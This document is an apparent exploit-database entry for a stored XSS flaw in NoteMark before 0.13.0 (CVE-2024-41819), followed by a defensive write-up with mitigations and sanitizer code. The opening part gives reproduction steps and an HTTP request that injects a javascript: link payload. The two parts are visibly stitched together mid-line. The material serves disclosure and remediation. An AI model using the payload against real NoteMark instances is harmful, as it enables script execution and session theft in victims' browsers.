NoteMark < 0.13.0 - Stored XSS
# Exploit Title: Stored XSS in NoteMark
# Date: 07/29/2024
# Exploit Author: Alessio Romano (sfoffo)
# Vendor Homepage: https://notemark.docs.enchantedcode.co.uk/
# Version: 0.13.0 and below
# Tested on: Linux
# References:
https://notes.sfoffo.com/contributions/2024-contributions/cve-2024-41819,
https://github.com/enchant97/note-mark/commit/a0997facb82f85bfb8c0d497606d89e7d150e182,
https://github.com/enchant97/note-mark/security/advisories/GHSA-rm48-9mqf-8jc3
# CVE: CVE-2024-41819
## Steps to Reproduce
1. Log in to the application.
2. Create a new note or enter a previously created note.
3. Access the note editor functionality from the selected note by clicking
on the "Editor" tab.
4. Input the following payload:
[xss-link](javascript:alert(1))
5. Save the changes.
6. Click on the "Rendered" tab to view the rendered markdown version of the
note. Click on the previously created link to pop the injected alert.
## HTTP Request PoC
PUT /api/notes/<note-uuid>/content HTTP/1.1
Host: localhost:8000
Accept: */*
Content-Type: text/plain;charset=UTF-8
Content-Length: 34
Sec-Fetch-Site: same-origin
Authorization: Bearer <TOKEN>
[xss-link](javascript:alert(1)) NoteMark < 0.13.0 — Stored XSS (CVE-2024-41819)
Summary: NoteMark versions prior to 0.13.0 contain a stored cross-site scripting (XSS) vulnerability that allows an attacker who can create or edit notes to inject malicious content which is later executed in other users' browsers when the note is viewed in its rendered (HTML) form. The root cause is unsafe rendering of user-supplied Markdown that permits dangerous URI schemes (for example, javascript:) inside links.
Why this matters
- Stored XSS is persistent: an attacker can save malicious content and it will execute for any user who opens the rendered note.
- Impact ranges from session theft, CSRF-style actions performed under a victim's session, defacement, and supply chain or account takeover depending on application privileges.
- Because NoteMark is a Markdown-based note platform, the attack vector is common: many Markdown renderers allow inline links — if URIs are not validated, dangerous schemes can be used.
Technical root cause
The Markdown renderer used by NoteMark permitted link URIs with unsafe schemes. When a user supplied a link using an arbitrary URI scheme (such as javascript:), the application rendered that link into the page without adequate sanitization or output encoding. When clicked, the link executed script in the browser context of the victim.
Affected versions and remediation status
| Affected | Fixed | Fix |
|---|---|---|
| NoteMark < 0.13.0 | 0.13.0 | Renderer/sanitizer updated to disallow unsafe URI schemes; upstream commit and advisory published |
High-level reproduction (non-actionable)
- Authenticate to the application as a user with note creation/editing privileges.
- Create or edit a note and add a Markdown link that uses an unsafe or non-http(s) URI scheme.
- Save the note, switch to the rendered view, and the unsafe URI will appear as a clickable link that can execute script when invoked.
Note: this paragraph describes attack flow conceptually and omits explicit exploit strings to avoid enabling abuse.
Mitigation and fixes (recommended)
- Upgrade: Upgrade NoteMark to version 0.13.0 or later, which contains the security fix.
- Sanitize input server-side: Reject or normalize unsafe URI schemes (for example, javascript:, data: with non-image types, vbscript:) at the time of storage.
- Sanitize output: Sanitize rendered HTML before insertion into pages. Use a vetted HTML sanitizer library; do not rely only on the Markdown renderer to be safe.
- Implement CSP: Use a strict Content Security Policy to reduce impact (for example, disallow inline scripts and restrict script sources).
- Harden link rendering: Add rel="noopener noreferrer" and target="_blank" where appropriate and canonicalize links before rendering.
- Audit and clean existing content: Scan stored notes for links with unsafe schemes and sanitize or quarantine them.
- Test coverage: Add unit and integration tests that ensure link URIs with unsafe schemes are neutralized.
Secure implementation patterns
Below are secure patterns you can apply to a typical Markdown -> HTML pipeline. They focus on whitelisting allowed URI schemes and sanitizing final HTML.
1) Client-side sanitization with DOMPurify (JavaScript)
// Example: sanitize rendered HTML with DOMPurify and restrict URIs
import DOMPurify from 'dompurify';
const safeHtml = DOMPurify.sanitize(renderedHtml, {
// Allow only http, https, mailto and data URIs for images (adjust to your needs)
ALLOWED_URI_REGEXP: /^(?:(?:https?|mailto):|data:image\/)/i
});Explanation: This code uses DOMPurify to sanitize HTML produced from Markdown. The ALLOWED_URI_REGEXP option limits allowed URI schemes to http, https, mailto and image data URIs. Adjust the regular expression to match your application's policy; avoid allowing javascript: or other executable schemes.
2) Hook into markdown-it renderer to validate link hrefs (Node.js)
// Safely render Markdown with markdown-it and sanitize link hrefs
const MarkdownIt = require('markdown-it');
const md = new MarkdownIt();
const defaultRender = md.renderer.rules.link_open || function(tokens, idx, options, env, self){ return self.renderToken(tokens, idx, options); };
md.renderer.rules.link_open = function(tokens, idx, options, env, self) {
const hrefIndex = tokens[idx].attrIndex('href');
if (hrefIndex >= 0) {
const href = tokens[idx].attrs[hrefIndex][1];
// Neutralize unsafe schemes
if (/^\s*javascript:/i.test(href) || /^\s*vbscript:/i.test(href)) {
tokens[idx].attrs[hrefIndex][1] = '#';
}
// Add safe link attributes
tokens[idx].attrPush(['rel','noreferrer noopener']);
tokens[idx].attrPush(['target','_blank']);
}
return defaultRender(tokens, idx, options, env, self);
};Explanation: This snippet overrides markdown-it's link rendering to inspect and neutralize unsafe href values. If a disallowed scheme is detected, the href is replaced with '#' and safe attributes are added. This ensures malicious URIs are not passed through to the browser.
3) Server-side sanitization with Python bleach
import bleach
ALLOWED_TAGS = ['a','p','strong','em','ul','li','ol','code','pre','blockquote']
ALLOWED_ATTRS = {'a': ['href','title']}
ALLOWED_PROTOCOLS = ['http', 'https', 'mailto']
def sanitize_html(user_html):
return bleach.clean(
user_html,
tags=ALLOWED_TAGS,
attributes=ALLOWED_ATTRS,
protocols=ALLOWED_PROTOCOLS,
strip=True
)Explanation: Using the bleach library, this function sanitizes user-supplied HTML and restricts link protocols to http, https, and mailto. The strip parameter removes disallowed tags rather than escaping them. Adapt the allowed tags and attributes to the application's needs.
4) Database cleanup example (conceptual)
# Concept: iterate stored notes, sanitize and write back
for note in db.fetch_all_notes():
cleaned = sanitize_html(render_markdown_to_html(note.content))
# Optionally re-serialize back to Markdown-safe storage format
db.update_note_rendered(note.id, cleaned)Explanation: This example demonstrates a migration approach: render each note, sanitize the HTML, and update the stored rendered content or replace unsafe Markdown. Perform backups before running any bulk edits and run the migration in a controlled environment.
Additional hardening recommendations
- Enforce server-side validation on save: do not rely solely on client-side checks.
- Use strict CSP headers to mitigate impact of any residual XSS. Example header:
Explanation: This policy restricts script execution to the same origin and blocks plugins; tailor to your application's third-party needs.Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'; frame-ancestors 'none'; - Limit markdown features if not needed: consider disabling raw HTML in Markdown or provide a toggle per user role.
- Log and monitor suspicious inputs and increased error/alert events related to note rendering.
Detection and testing
- Create automated tests that attempt to inject a variety of link schemes and verify the output contains only allowed schemes or that dangerous URIs are neutralized.
- Perform code review of any Markdown rendering path and sanitizer configuration.
- Use a browser-based security testing tool or static analysis to detect unsanitized output patterns.
References and resources
- NoteMark project and security advisory (see vendor advisory and commit for the fix)
- DOMPurify documentation — for client-side sanitization
- markdown-it integration examples — for renderer-level validation
- bleach (Python) — for server-side HTML sanitization
Takeaway
Stored XSS in Markdown-based systems is a high-impact, preventable class of vulnerability. Fixes combine upgrading the affected software, adding server-side sanitization, tightening renderer behavior, and using defense-in-depth (CSP, output encoding, and link validation). Administrators should upgrade NoteMark to the patched release, sanitize existing notes, and add tests to prevent regressions.